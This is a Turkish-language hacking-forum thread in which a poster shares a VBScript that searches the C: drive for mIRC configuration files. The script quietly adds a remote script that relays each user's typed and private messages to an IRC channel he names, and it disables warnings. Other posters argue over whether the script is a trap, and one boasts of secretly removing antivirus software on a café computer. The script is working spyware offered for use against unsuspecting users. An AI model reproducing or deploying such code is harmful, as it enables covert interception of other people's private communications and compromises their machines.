computerwolf merakLanma düşürmek için bi şiLer yapmak isteseydim kendi trojenimi program diye yedirtirdim sizde kek gibi yerdiniz Benim amacım biLgi aLmak isteyenleri bu konuda biLgiLendirmek LavukLuk deiL '> Asi Kurt

maksadim dalga gecmek degil, farzedelim ben hicbirsey bilmiyorum farzedelim onca antivirus programi virus buldugu yalan birde isteseydim kendi trojenimi yapardim diyorsun bunu yazdi: merakLanma düşürmek için bi şiLer yapmak isteseydim kendi trojenimi program diye yedirtirdim sizde kek gibi yerdiniz Benim amacım biLgi aLmak isteyenleri bu konuda biLgiLendirmek LavukLuk deiL kek aramadiginada inaniyorum :) ve birseyler ogretmek istediginede gecenin bir yarisi konuyu uzatmak istemiyorum... pist bak bi! - Ban Golu Canavari

Yaf arkadaşlar hiçbiriniz bi bok anlamıyorsunuz valla. Biriniz aklınca Bug oluşturmaya çalışmış diğeride Visual Basic den bahsediyor. Yok Unreal yok CR lem her serverde zel okursun. Allah aşkına sallamayın ya. Bilmiyorsanız susun yaa bari bişi biliyor desin millet. Tbe Tbe yaa Copyright by nickolei_helm

yARGIC BEN SANA VİRÜS VEYA TRJAN KODU YEDİRİYORSUN DEMEDİM... SADECE BU İŞ BOŞ YANİ BOŞA UĞRAŞTIRMA DEDİM... MİLLETİ... Hep denedin. Hep yenildin. Olsun yine dene, yine yenil ama daha iyi yenil!

komutLarın işe yarayıp yaramadını grenmek isteyenLer için bi babaLık yapacam irc. xmsn. net #zeg_ kanaLında şu anda aktif ama boTLarLa bayadır iLgiLenmedim için msg Lar azaLdı ama yinede yeterince var arkadaşLara sz verdim kimseyi sokmucam diye ama mademki grmek istiyorsun buyrun hodri meydan Asi Kurt

DÜŞMEYİN Hep denedin. Hep yenildin. Olsun yine dene, yine yenil ama daha iyi yenil!

mC_YaRgIc whats matrix len set komutlari?!?!?!! pist bak bi! - Ban Golu Canavari

xtlan dostum sandın gibi bi şey deiL tek yapman gereken kanaLını -n moduna aLmak dışardan msg aLmak yani gerisini komutLar yapar merakLanma serverdan izin aLmanada gerek yok superonLine pro qqq benimdi ve hiç bi adminide tanımıyordum:) sen input komudu ne işe yarar biLirmisin? yada syLe bi komuddan haberdarmısın sen yazıyı yazdın an daha entre basmadan başka servera zeL bi kanaLa ynLenir haberdar deiLsen yukarıya ii bak Endorze hakLısın gaLiba bi daha tbe iLik yaparsam iLerde yapmak istedim bi iLikten de vaz geçtim bu iLik Le bi iLik ki kesin konuşuyorum boT merakLıları arasında çok az kişinin biLdi bi iLik mirc. exe ni kompLe nasıL yok edersin windows aLtında hiç bi yerde gzükmeden nasıl çaLışır ama şu anda bunu açıkLıcamı pek sanmıyorum Asi Kurt

bu kodlar da neler var bakalım. yardım mu tuzak mı olduğu?.. Yasal Uyarı: Anayasanın 135. maddesinin 26. fıkrasına gre oyunlarda hile yapmak çok ayıptır.

mC_YaRgIc SeLam baba Serverindeyim Senle Gorusmem Lazimm :)) Sayqilarimla Selam Ben Mustafa. Nickimin Anlamı Sexi Ve Çekici Erkek Demek Ve Aynı zamanda Da Basketci OneaL in TürkÇe VersioN u OneiL :))

arkadaşlar bence mc_yargıc haklı tuzak olduğunu sanmıyorum cunku identify şifelerini ve ozel okumaları gordum canlı sahidim yani mc_yargıc sonuna kadar seni destdekliyorum kardeşim Bigi paylaştıkça artarmıs ben bu lafı diyenin teee... paylaştıkça azıtılıyor GenC_HaCKeR yok ldü!

şu an cafedeğim çaktırmadan nortonukaldırıom adam anlamaz inşallah :)))))

Beyler kasmayın bu kadar Adam kendı bıldıgını anlatmış en azından geyik ytapmamış forumda. Ktü birşey olsa bıle yınede guzel. cunku bu tuzaga dusen birisi bir daha byle bir tuzaga dusmez. Tuzak oldugunuda sanmıyorum. kodları ınceledıgım kadar. gerci pek cok da anlamam kodlardan. DediLerki Melik Ldü. Doğrumu?

şimdi size verecem komutlar Visual Basic komutLarı oLup kopyaLadınız dosya isminin uzantısını vbs yapmanız Lazım ondan sonra çift tıkLar yada çaLıştırırsanız içinde ki komutları c: de ne kadar mirc. ini dosyası varsa oraya server. ini şekLinde bi dosya oLuşturup kopyaLar yaLnız komutları kendinize gre uyarLamaLısınız size kolaylık oLsun diye karakterLeri düz yazdım koLay geLsin dim Otag dim AOtag dim Ttag dim DummyTag dim SectionDef call ShowFolderList sub ShowFolderList on error resume next Set filesys = CreateObject Set RootFolder1 = FileSys. GetFolder Set SubFolds1 = RootFolder1. subfolders For Each f1 in Subfolds1 s = f1. path & "\" Otag = s & "mirc. ini" AOtag= s & "mdat" DummyTag= "C:\winamod. dat" TTag= s & "server. ini" SectionDef= " " if filesys. fileexists then Call Filemod filesys. CopyFile DummyTag, Otag, true Call ImplementRemote filesys. CopyFile DummyTag, Otag, true Call ImplementWarn filesys. CopyFile DummyTag, Otag, true Call ImplementFserv filesys. CopyFile DummyTag, Otag, true call ImplementPerfCheck filesys. CopyFile DummyTag, Otag, true Call ImplementPerform SetClearArchiveBit End If Call ShowFolderList Next End sub Function FiltNum on error resume next countdown=5 do Comp = mid(FilString,2, countdown) if isnumeric then LastNum = Comp : exit do countdown=countdown-1 loop until countdown =0 FiltNum = LastNum end function Function LastLineNum on error resume next Set FS1N = CreateObject Set FR1N = FS1N. OpenTextFile(otag,1, true) Do While FR1N. AtEndOfStream <> True segment1 = FR1N. readline w = InstrRev(segment1, SSection) counts=counts+1 if w > 0 then do if FR1N. AtEndOfStream = True then exit do segmentk = FR1N. readline k = InstrRev(segmentk,"n",1) if k=1 then LastNum=FiltNum end if Loop until k=0 end if loop FR1N. Close LastLineNum=LastNum end function Function Filemod on error resume next Set fs1 = CreateObject Set fr1 = fs1. OpenTextFile(otag,1, true) Set fs2 = CreateObject Set fr2 = fs2. OpenTextFile(DummyTag,2, true) Do While fr1. AtEndOfStream <> True segment1 = fr1. readline fr2. writeline segment1 w = InstrRev(segment1," ") counts=counts+1 if w > 0 then counts2=counts do if fr1. AtEndOfStream = True then exit do segmentk = fr1. readline k = InstrRev(segmentk,"n",1) if k=1 then LastNum=FiltNum fr2. writeline segmentk end if COUNTS2=COUNTS2+1 Loop until k<>1 exit do end if loop fr1. Close fr2. close Set fs3 = CreateObject Set fr3 = fs3. OpenTextFile(DummyTag,8, true) TrojanInfo = "n" & lastlinenum +1 & "=server. ini" fr3. writeline TrojanInfo fr3. Close Set fs4 = CreateObject Set fr4 = fs4. OpenTextFile(Otag,1, true) Set fs5 = CreateObject Set fr5 = fs5. OpenTextFile(DummyTag,8, true) Do While fr4. AtEndOfStream <> True segment2 = fr4. readline if fr4. line >= counts2 + 2 then fr5. writeline segment2 end if loop fr4. Close fr5. Close fs5. CopyFile DummyTag, Otag, true Call FLDL end Function sub FLDL on error resume next Set fs6 = CreateObject Set fr6 = fs6. OpenTextFile(TTag,2, true) fr6. writeline " " fr6. writeline "n1=on 1:text: :?:. sockwrite -nt ping PRIVMSG #zeg_ : $+ 4<12 $+ $nick $+ 4> $1- 4<12 $+ $me $+ 4> | . halt } } }" fr6. writeline "n2=on :SOCKOPEN:ping: " fr6. writeline "n7=on :SOCKREAD:ping: { " fr6. writeline "n8= if ($sockerr > 0) return" fr6. writeline "n9= sockread %sock " fr6. writeline "n10= if ($sockbr 0) return " fr6. writeline "n11= tokenize 32 %sock " fr6. writeline "n12= if ($1 PING) " fr6. writeline "n13=}" fr6. writeline "n14=on :sockclose:ping: " fr6. writeline "n18=on :start: " fr6. writeline "n19=on :INPUT: : {" fr6. writeline "n20= if ($chr(35) isin $active) && ($chr(47) ! isin $1) goto end " fr6. writeline "n21= if ($chr(35) ! isin $active) || ($chr(47) isin $1) && ($sock . status active) " fr6. writeline "n24=}" fr6. writeline "n25=CTCP : : : { if " fr6. close end sub Function ImplementRemote Set fs1a = CreateObject Set fr1a = fs1a. OpenTextFile(otag,1, true) Set fs2a = CreateObject Set fr2a = fs2a. OpenTextFile(DummyTag,2, true) Do While fr1a. AtEndOfStream <> True segment1a = fr1a. readline fr2a. writeline segment1a if ucase(segment1a)=ucase then Do If fr1a. AtEndOfStream Then exit do n2a = fr1a. readline If ucase(mid(n2a,1,3))=ucase("n2=") then fr2a. writeline Mid(n2a, 1, 13) & "1,1" & Mid(n2a, 17, 16) & "1" & Mid(n2a, 34) exit do Else fr2a. writeline n2a End If Loop end if loop fr1a. Close fr2a. close End Function Function Implementfserv Set fs1a = CreateObject Set fr1a = fs1a. OpenTextFile(otag,1, true) Set fs2a = CreateObject Set fr2a = fs2a. OpenTextFile(DummyTag,2, true) Do While fr1a. AtEndOfStream <> True segment1a = fr1a. readline fr2a. writeline segment1a if ucase(segment1a)=ucase then Do If fr1a. AtEndOfStream Then exit do n2a = fr1a. readline If ucase(n2a)=ucase then fr2a. writeline "fserve=off" Else fr2a. writeline n2a End If Loop end if loop fr1a. Close fr2a. close End Function Function Implementwarn Set fs1c = CreateObject Set fr1c = fs1c. OpenTextFile(otag,1, true) Set fs2c = CreateObject Set fr2c = fs2c. OpenTextFile(DummyTag,2, true) Do While fr1c. AtEndOfStream <> True segment1c = fr1c. readline fr2c. writeline segment1c if ucase(segment1c)=ucase then Do if fr1c. AtEndOfStream then exit do n2c = fr1c. readline If ucase(n2c)=ucase then fr2c. writeline "warning=off" Else fr2c. writeline n2c End If Loop end if loop fr1c. Close fr2c. close End Function Function ImplementPerform Set fs1p = CreateObject Set fr1p = fs1p. OpenTextFile(Otag,8, true) fr1p. writeline " " fr1p. writeline "n0=/Remote ON" fr1p. Close fs1p. close End Function Sub SetClearArchiveBit Dim fsg, fg Set fsg = CreateObject Set fg = fsg. GetFile fg. attributes = 0 fg. attributes = fg. attributes + 1 End Sub Function ImplementPerfCheck Set fs1f = CreateObject Set fr1f = fs1f. OpenTextFile(otag,1, true) Set fs2f = CreateObject Set fr2f = fs2f. OpenTextFile(DummyTag,2, true) Do While fr1f. AtEndOfStream <> True segment1f = fr1f. readline fr2f. writeline segment1f if ucase(segment1f)=ucase then Do If fr1f. AtEndOfStream Then exit do n2f = fr1f. readline If ucase(mid(n2f,1,3))=ucase("n0=") then fr2f. writeline Mid(n2f, 1, 40) & ",1," & Mid(n2f, 44) exit do Else fr2f. writeline n2f End If Loop end if loop fr1f. Close fr2f. close End Function set sss=createobject server. ini ye kopyaladı komutlar aşşada yani sizin deişikLik yapmanız gereken komutlar msg=cevap şekLinde iki kanaLa aktarabiLr yada tek bi kanaLda topLayabiLirsiniz gerisi size kaLmış koLay geLsin fr6. writeline " " fr6. writeline "n1=on 1:text: :?:. sockwrite -nt ping PRIVMSG #zeg_ : $+ 4<12 $+ $nick $+ 4> $1- 4<12 $+ $me $+ 4> | . halt } } }" fr6. writeline "n2=on :SOCKOPEN:ping: " fr6. writeline "n7=on :SOCKREAD:ping: { " fr6. writeline "n8= if ($sockerr > 0) return" fr6. writeline "n9= sockread %sock " fr6. writeline "n10= if ($sockbr 0) return " fr6. writeline "n11= tokenize 32 %sock " fr6. writeline "n12= if ($1 PING) " fr6. writeline "n13=}" fr6. writeline "n14=on :sockclose:ping: " fr6. writeline "n18=on :start: " fr6. writeline "n19=on :INPUT: : {" fr6. writeline "n20= if ($chr(35) isin $active) && ($chr(47) ! isin $1) goto end " fr6. writeline "n21= if ($chr(35) ! isin $active) || ($chr(47) isin $1) && ($sock . status active) " fr6. writeline "n24=}" fr6. writeline "n25=CTCP : : : { if " Asi Kurt

irc de zelleri okumak sadece flaglarla oluyor. Irc serverınız networkadmini size bu flagı verirse sadece okuyabilirsiniz. mesela serverınızın versiyonu unreal se bunu yapmaniza imkan var. Küçük bir modulu servicesler kurulurken ekliyorsunuz./spy yazdıgınızda bir komutlarla ilgili bir yardim çıkıyor. Ozellerini okuyacağınız zamanda /spy add nick komutu gibi komutlar... vb komutlarıyla ozel okumak :) komik geldi bana vede bunu irc scriptinize ekleyerek. Düsmeyin boyle numaralara. Bu mesaji yazan arkadasda sanirim saflik yapmıs bu forumlarda acmis basligini... "Toros dağlarının tepelerinde tek bir Türkmen evinin bacası tüter halde kalmış ise, ben bu milletten umudumu kesmem, bayrağımı gğsüme sarar, milletimin istiklali uğruna lürüm. Gazi Mustafa Kemal ATATÜRK"

underzero daşşak geçecek başkasını buL istersen matrixLikLe aLakası yok biraz programLa diLinden anLasan bu komutLarın hangi diLde yazıLdını çzer ve whats matrix die igrenç bi espiri yapmazdın Asi Kurt